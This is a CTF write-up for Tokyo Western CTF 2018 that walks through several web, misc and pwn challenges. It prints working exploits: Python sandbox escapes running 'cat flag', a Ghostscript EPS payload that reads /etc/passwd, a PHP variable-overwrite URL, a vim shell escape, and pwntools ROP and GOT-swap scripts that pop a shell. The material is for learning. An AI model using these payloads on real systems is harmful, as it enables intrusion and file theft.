Tokyo Western CTF 2018

12 minute read

web

Pysandbox (pt 121/126)

1. First Challenge

We get file:

import sys
import ast


blacklist = [ast.Call, ast.Attribute]

def check(node):
    if isinstance(node, list):
        return all([check(n) for n in node])
    else:
        """
	expr = BoolOp(boolop op, expr* values)
	     | BinOp(expr left, operator op, expr right)
	     | UnaryOp(unaryop op, expr operand)
	     | Lambda(arguments args, expr body)
	     | IfExp(expr test, expr body, expr orelse)
	     | Dict(expr* keys, expr* values)
	     | Set(expr* elts)
	     | ListComp(expr elt, comprehension* generators)
	     | SetComp(expr elt, comprehension* generators)
	     | DictComp(expr key, expr value, comprehension* generators)
	     | GeneratorExp(expr elt, comprehension* generators)
	     -- the grammar constrains where yield expressions can occur
	     | Yield(expr? value)
	     -- need sequences for compare to distinguish between
	     -- x < 4 < 3 and (x < 4) < 3
	     | Compare(expr left, cmpop* ops, expr* comparators)
	     | Call(expr func, expr* args, keyword* keywords,
			 expr? starargs, expr? kwargs)
	     | Repr(expr value)
	     | Num(object n) -- a number as a PyObject.
	     | Str(string s) -- need to specify raw, unicode, etc?
	     -- other literals? bools?

	     -- the following expression can appear in assignment context
	     | Attribute(expr value, identifier attr, expr_context ctx)
	     | Subscript(expr value, slice slice, expr_context ctx)
	     | Name(identifier id, expr_context ctx)
	     | List(expr* elts, expr_context ctx) 
	     | Tuple(expr* elts, expr_context ctx)

	      -- col_offset is the byte offset in the utf8 string the parser uses
	      attributes (int lineno, int col_offset)

        """

        attributes = {
            'BoolOp': ['values'],
            'BinOp': ['left', 'right'],
            'UnaryOp': ['operand'],
            'Lambda': ['body'],
            'IfExp': ['test', 'body', 'orelse'],
            'Dict': ['keys', 'values'],
            'Set': ['elts'],
            'ListComp': ['elt'],
            'SetComp': ['elt'],
            'DictComp': ['key', 'value'],
            'GeneratorExp': ['elt'],
            'Yield': ['value'],
            'Compare': ['left', 'comparators'],
            'Call': False, # call is not permitted
            'Repr': ['value'],
            'Num': True,
            'Str': True,
            'Attribute': False, # attribute is also not permitted
            'Subscript': ['value'],
            'Name': True,
            'List': ['elts'],
            'Tuple': ['elts'],
            'Expr': ['value'], # root node 
        }

        for k, v in attributes.items():
            if hasattr(ast, k) and isinstance(node, getattr(ast, k)):
                if isinstance(v, bool):
                    return v
                return all([check(getattr(node, attr)) for attr in v])


if __name__ == '__main__':
    expr = sys.stdin.read()
    body = ast.parse(expr).body
    if check(body):
        sys.stdout.write(repr(eval(expr)))
    else:
        sys.stdout.write("Invalid input")
    sys.stdout.flush()

We can use:

[x for x in __import__("os").system("cat flag")]

The the check sanitize argument, it only checks list: {}, [], (). However, when we use generator, we can bypass the check.

2. Challenge 2

The file:

import sys
import ast
import hashlib


def check_flag1():
    sys.stdout.write('input sha512(flag1) >> ')
    sys.stdout.flush()
    s = sys.stdin.readline().strip()
    flag = open('./flag', 'rb').read().strip()
    if hashlib.sha512(flag).hexdigest() != s:
        exit()
    sys.stdout.write(open(__file__, 'rb').read().decode())
    sys.stdout.flush()

def check(node):
    if isinstance(node, list):
        return all([check(n) for n in node])
    else:
        """
	expr = BoolOp(boolop op, expr* values)
	     | BinOp(expr left, operator op, expr right)
	     | UnaryOp(unaryop op, expr operand)
	     | Lambda(arguments args, expr body)
	     | IfExp(expr test, expr body, expr orelse)
	     | Dict(expr* keys, expr* values)
	     | Set(expr* elts)
	     | ListComp(expr elt, comprehension* generators)
	     | SetComp(expr elt, comprehension* generators)
	     | DictComp(expr key, expr value, comprehension* generators)
	     | GeneratorExp(expr elt, comprehension* generators)
	     -- the grammar constrains where yield expressions can occur
	     | Yield(expr? value)
	     -- need sequences for compare to distinguish between
	     -- x < 4 < 3 and (x < 4) < 3
	     | Compare(expr left, cmpop* ops, expr* comparators)
	     | Call(expr func, expr* args, keyword* keywords,
			 expr? starargs, expr? kwargs)
	     | Repr(expr value)
	     | Num(object n) -- a number as a PyObject.
	     | Str(string s) -- need to specify raw, unicode, etc?
	     -- other literals? bools?

	     -- the following expression can appear in assignment context
	     | Attribute(expr value, identifier attr, expr_context ctx)
	     | Subscript(expr value, slice slice, expr_context ctx)
	     | Name(identifier id, expr_context ctx)
	     | List(expr* elts, expr_context ctx) 
	     | Tuple(expr* elts, expr_context ctx)

	      -- col_offset is the byte offset in the utf8 string the parser uses
	      attributes (int lineno, int col_offset)

        """

        attributes = {
            'BoolOp': ['values'],
            'BinOp': ['left', 'right'],
            'UnaryOp': ['operand'],
            'Lambda': ['body'],
            'IfExp': ['test', 'body', 'orelse'],
            'Dict': ['keys', 'values'],
            'Set': ['elts'],
            'ListComp': ['elt', 'generators'],
            'SetComp': ['elt', 'generators'],
            'DictComp': ['key', 'value', 'generators'],
            'GeneratorExp': ['elt', 'generators'],
            'Yield': ['value'],
            'Compare': ['left', 'comparators'],
            'Call': False, # call is not permitted
            'Repr': ['value'],
            'Num': True,
            'Str': True,
            'Attribute': False, # attribute is also not permitted
            'Subscript': ['value'],
            'Name': True,
            'List': ['elts'],
            'Tuple': ['elts'],
            'Expr': ['value'], # root node 
            'comprehension': ['target', 'iter', 'ifs'],
        }

        for k, v in attributes.items():
            if hasattr(ast, k) and isinstance(node, getattr(ast, k)):
                if isinstance(v, bool):
                    return v
                return all([check(getattr(node, attr)) for attr in v])


if __name__ == '__main__':
    check_flag1()
    expr = sys.stdin.readline()
    body = ast.parse(expr).body
    if check(body):
        sys.stdout.write(repr(eval(expr)))
    else:
        sys.stdout.write("Invalid input")
    sys.stdout.flush()

Let’s make a diff:

$ diff chall1.py chall2.py
2a3
> import hashlib
5c6,12
< blacklist = [ast.Call, ast.Attribute]
---
> def check_flag1():
>     sys.stdout.write('input sha512(flag1) >> ')
>     sys.stdout.flush()
>     s = sys.stdin.readline().strip()
>     flag = open('./flag', 'rb').read().strip()
>     sys.stdout.write(open(__file__, 'rb').read().decode())
>     sys.stdout.flush()
55,58c62,65
<             'ListComp': ['elt'],
<             'SetComp': ['elt'],
<             'DictComp': ['key', 'value'],
<             'GeneratorExp': ['elt'],
---
>             'ListComp': ['elt', 'generators'],
>             'SetComp': ['elt', 'generators'],
>             'DictComp': ['key', 'value', 'generators'],
>             'GeneratorExp': ['elt', 'generators'],
70a78
>             'comprehension': ['target', 'iter', 'ifs'],
81c89,90
<     expr = sys.stdin.read()
---
>     check_flag1()
>     expr = sys.stdin.readline()

it will be slightly different because I edit check_flag1() code

Since generator is blocked, we can use subscript to exploit.

The final payload:

[][__import__('os').system('cat flag2')]

Shine (pt 190)


import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index(): 
  return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine): 
  
  def safe_jinja(s): 
    s = s.replace('(', '').replace(')', '') 
    blacklist = ['config', 'self'] 
    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
  
  return flask.render_template_string(safe_jinja(shrine)) 

if __name__ == '__main__': 
  app.run(debug=True)

So, if we type http://shrine.chal.ctf.westerns.tokyo/shrine/ + {{ 7*7 }}, we get a template injection. However, self and config are disabled ti prevent leaking.

We can retrieve more information via: ``.

If you look carefully in from the return data, you will see: 'current_app': <Flask 'app'>. As a result, we can refer to our Flask object and bypass the filter. Our final payload is:

http://shrine.chal.ctf.westerns.tokyo/shrine/

SimpleAuth (pt 55)

Here, we get the source code:

<?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}
?>

Since they use === to compare, it’s impossible to bypass check via weak type.

However, the parse_str acts similar to register_global, which allows us to assign value to arbitrary value. Thus, our final payload is:

http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e

Slack Emoji Convert (pt 267)

from flask import ( Flask, render_template, request, redirect, url_for, make_response, ) 
from PIL import Image 
import tempfile 
import os 
app = Flask(__name__)
@app.route('/') 
def index(): 
    return render_template('index.html') 

@app.route('/source') 
def source(): 
    return open(__file__).read()

@app.route('/conv', methods=['POST']) 
def conv(): 
    f = request.files.get('image', None) 
    if not f: 
        return redirect(url_for('index')) 
    ext = f.filename.split('.')[-1] 
    fname = tempfile.mktemp("emoji") 
    fname = "{}.{}".format(fname, ext) 
    f.save(fname)
    img = Image.open(fname) 
    w, h = img.size 
    r = 128/max(w, h) 
    newimg = img.resize((int(w*r), int(h*r)))
    newimg.save(fname) 
    response = make_response() 
    response.data = open(fname, "rb").read() 
    response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)
    os.unlink(fname) 
    return response 

if __name__ == '__main__': 
    app.run(host="0.0.0.0", port=8080, debug=True)

This requires the newest exploit of PIL ghostshell, remember to set Bounding to have a valid image.size.

payload:

%!PS-Adobe-2.0 EPSF-1.2

%%Title: PFB_4C+SW
%%Creator: FreeHand 10.0
%%CreationDate: 2/21/03 11:28 AM
%%BoundingBox: 0 0 74 35
%%FHPathName:Daten:arbeit:L.W:PFB_4C+SW
%ALDOriginalFile:Daten:arbeit:L.W:PFB_4C+SW
%ALDBoundingBox: -5 -6 80 40
%%FHPageNum:1
%%DocumentSuppliedResources: procset Altsys_header 4 0
%%ColorUsage: Color
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
    FileToSteal % save the undefined name
} put
errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put
errordict /invalidfileaccess {
    pop
} put
errordict /typecheck {
    pop
} put
FileToSteal (w) .tempfile
statusdict
begin
    1 1 .setpagesize
end
quit

Rename the image to XXX.jpeg and upload it.

MISC

Vim Shell (pt 126)

We get a vim in web page as following:

diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
     {'7',      nv_ignore,      0,                      0},
     {'8',      nv_ignore,      0,                      0},
     {'9',      nv_ignore,      0,                      0},
-    {':',      nv_colon,       0,                      0},
+    // {':',   nv_colon,       0,                      0},
     {';',      nv_csearch,     0,                      FALSE},
     {'<',      nv_operator,    NV_RL,                  0},
     {'=',      nv_operator,    0,                      0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
     {'N',      nv_next,        0,                      SEARCH_REV},
     {'O',      nv_open,        0,                      0},
     {'P',      nv_put,         0,                      0},
-    {'Q',      nv_exmode,      NV_NCW,                 0},
+    // {'Q',   nv_exmode,      NV_NCW,                 0},
     {'R',      nv_Replace,     0,                      FALSE},
     {'S',      nv_subst,       NV_KEEPREG,             0},
     {'T',      nv_csearch,     NV_NCH_ALW|NV_LANG,     BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
     {'d',      nv_operator,    0,                      0},
     {'e',      nv_wordcmd,     0,                      FALSE},
     {'f',      nv_csearch,     NV_NCH_ALW|NV_LANG,     FORWARD},
-    {'g',      nv_g_cmd,       NV_NCH_ALW,             FALSE},
+    // {'g',   nv_g_cmd,       NV_NCH_ALW,             FALSE},
     {'h',      nv_left,        NV_RL,                  0},
     {'i',      nv_edit,        NV_NCH,                 0},
     {'j',      nv_down,        0,                      FALSE},
~
~
~

However, the vim CAN NOT:

  • Use “:” to execute vim command
  • Save (the file is not writable)
  • Use “!!” to execute system command

(he error you get when trying to save:

W10: Warning: Changing a readonly file
E325: ATTENTION
Found a swap file by the name "/var/tmp/vimshell.patch.swp"
          owned by: vimshell   dated: Fri Aug 31 23:23:48 2018
         file name: /vimshell.patch
          modified: YES
         user name: vimshell   host name: vimshell-fbc8f84bf-w82t8
        process ID: 11
While opening file "/vimshell.patch"
             dated: Fri Aug 31 19:24:44 2018

(1) Another program may be editing the same file.  If this is the case,
    be careful not to end up with two different instances of the same
    file when making changes.  Quit, or continue with caution.
(2) An edit session for this file crashed.
    If this is the case, use ":recover" or "vim -r /vimshell.patch"
    to recover the changes (see ":help recovery").
    If you did this already, delete the swap file "/var/tmp/vimshell.patch.swp"
    to avoid this message.

E326: Too many swap files found
Press ENTER or type command to continue

However, there is a wonderful hotkey K in vim, which is equal to !man diff.

Inside man, we can use ! to execute system command. So our final payload is:

  • Move your cursor to diff
  • press K
  • Now you will enter man page, press !ls, you will get: bin src
  • Then !ls ../ and !cat ../flag to retrieve flag

Pwn

load (pt 208)

Decompile code overview:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-30h]
  __int64 v5; // [rsp+20h] [rbp-10h]
  __off_t v6; // [rsp+28h] [rbp-8h]

  sub_4008A9(a1, a2, a3);
  _printf_chk(1LL, "Load file Service\nInput file name: ");
  read_input(&file_name, 128LL);
  _printf_chk(1LL, "Input offset: ");
  v6 = (signed int)read_num(1LL, "Input offset: ");
  _printf_chk(1LL, "Input size: ");
  v5 = (signed int)read_num(1LL, "Input size: ");
  read_file(&v4, (const char *)&file_name, v6, v5);
  close_all();
  return 0LL;
}

The program will read a file location and open the file. Then, we can give the offset to read and how many byte to read. There is an obvious buffer overflow vulnerability while we read file’s content. But the most difficult part is which file to read. We cannot control file’s content. There is a wonderful file in linux system: /proc/self/fd/0, which refers to the standard input. When the program open the file, we can write arbitrary content inside.

After overflow, the program will call close_all(), which close fd 0, 1, and 2, which is equivalent to standard input, standard output, and standard error. Now, we can chain read, write, put to ROP. How can we leak flag?

We need to adjust file descriptor 1 to standard output. When we open a file, the fd will count from start from the lowest one. When open one more file, the fd will plus one. Here, the lowest byte is 0 after close_all(). Thus, the second open will return fd 1 to us. We can open another file which can return standard input to us. Here, however, /proc/self/fd/0 will not work(it does not refer to standard input anymore). We have to /dev/pts/N. N depends on you machine. Simply ls -la /proc/self/fd to see symlink to get it; or guess it in remote attack.

By the way, you do not have to change $rdx in ROP chain.

Now, we have standard output, just open and read the flag to see result:

from pwn import *

p = process("./load")

#context.log_level = 'DEBUG'

call_open = p64(0x400710)
call_read = p64(0x4006E8)
call_puts = p64(0x4006C0)

def pop_rsi(addr):
        return p64(0x400a71) + p64(addr) + p64(0xdeadbeef)

def pop_rdi(addr):
        return p64(0x400a73) + p64(addr)


bss_area = 0x601040
p.recvuntil("name:")

file1 = "/proc/self/fd/0\x00"
file2 = "/dev/pts/3\x00"
file3 = "./flag.txt\x00"

p.sendline(file1 + file2 + file3)
p.recvuntil("offset:")
p.sendline("0")
p.recvuntil("size:")

payload = "A" * 56

# read /dev/pts/3 for twice
payload += pop_rsi(0x2702)
payload += pop_rdi(bss_area + len(file1))
payload += call_open
payload += pop_rdi(bss_area + len(file1))
payload += pop_rsi(0x2702)
payload += call_open

# open and read ./flag.txt
payload += pop_rdi(bss_area + len(file1 + file2))
payload += pop_rsi(0)
payload += call_open
payload += pop_rdi(2)
payload += pop_rsi(0x601000)
payload += call_read

# puts flag
payload += pop_rdi(0x601000)
payload += call_puts

p.sendline(str(len(payload)))
p.sendline(payload)
p.interactive()

Swap

The binary is straight forward:

// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  __int64 *v4; // [rsp+10h] [rbp-20h]
  __int64 *v5; // [rsp+18h] [rbp-18h]
  __int64 v6; // [rsp+20h] [rbp-10h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  initialize(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_int();
      if ( v3 != 2 )
        break;
      v6 = *v4;
      *v4 = *v5;
      *v5 = v6;
      v6 = 0LL;
    }
    if ( v3 == 3 )
    {
      printf("Bye. ");
      _exit(0);
    }
    if ( v3 == 1 )
    {
      puts("1st address: ");
      __isoc99_fscanf(stdin, "%lu", &v4);
      puts("2nd address: ");
      __isoc99_fscanf(stdin, "%lu", &v5);
    }
    else
    {
      printf("Invalid choice. ");
    }
  }
}

We can swap the content of two arbitrary address. Our final goal is to swap one gadget and execute it.

To begin with, we use blank bss 0x601058 as temporary exchange address. Then, we can swap printf and atoi to leak address. Since we have input limitation, we can only pass “%p” to leak stack pointer. Also, we need to restore the address of atoi and printf to keep program running normally.

To make our ROP chain, we need to extend the stack via __libc_csu_init while the program is a PIE file. Here, we swap printf and setvbuf first. But the problem is how can we send the plt to printf. The solution is storing our setvbuf in stack. By extending the stack via exit() (now is restart the function). We can swap the plt rather than got via using stack address as swap target.

Finally, we can leak system. After swapping system and atoi, we get shell.

from pwn import *

def set_addr(addr1, addr2):
    r.sendlineafter('choice:', '1')
    r.sendlineafter('address:', str(addr1))
    r.sendlineafter('address:', str(addr2))
    

def swap():
    r.sendlineafter('choice:', '2')


r = process('./swap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

exit_got = 0x601018
atoi_got = 0x601050
printf_got = 0x601038
setvbuf_got = 0x601048
stderr = 0x6010a0
    
set_addr(printf_got, 0x601058)
swap()
set_addr(atoi_got, 0x601058)
swap()

r.sendlineafter('choice:', '%p')
r.recvline()
stack_leak = r.recv(14)
stack_addr = int(stack_leak, 16)

r.sendlineafter('address:', str(0x601058))
r.sendlineafter('address:', str(atoi_got))
swap()

set_addr(stack_addr+114, exit_got)
swap()

set_addr(setvbuf_got, 0x601058)
swap()
r.sendlineafter('choice:', '3')
set_addr(stderr, stack_addr+50)
swap()

r.sendlineafter('choice:', '3')
r.recvuntil('Bye. ')
r.recv(8)
    
libc_leak = u64(r.recv(6).ljust(8, "\x00"))
libc_main = libc_leak - libc.symbols['setvbuf']
libc_system = libc_main + libc.symbols['system']
gadget = libc_main + 0x45216
set_addr(libc_system, 0x41414141)

r.sendlineafter('choice:', '3')
set_addr(atoi_got, stack_addr-86)
swap()

r.interactive()

Neighbor C

The program is pretty simple, the core part is:

void __fastcall __noreturn sub_8D0(FILE *a1)
{
  while ( fgets(format, 256, stdin) )
  {
    fprintf(a1, format);
    sleep(1u);
  }
  exit(1);
}

Here is an obvious format string bug. However, since it redirects output to stdeerr, we cannot read leak directly.

Tags:

Categories:

Updated:

Leave a comment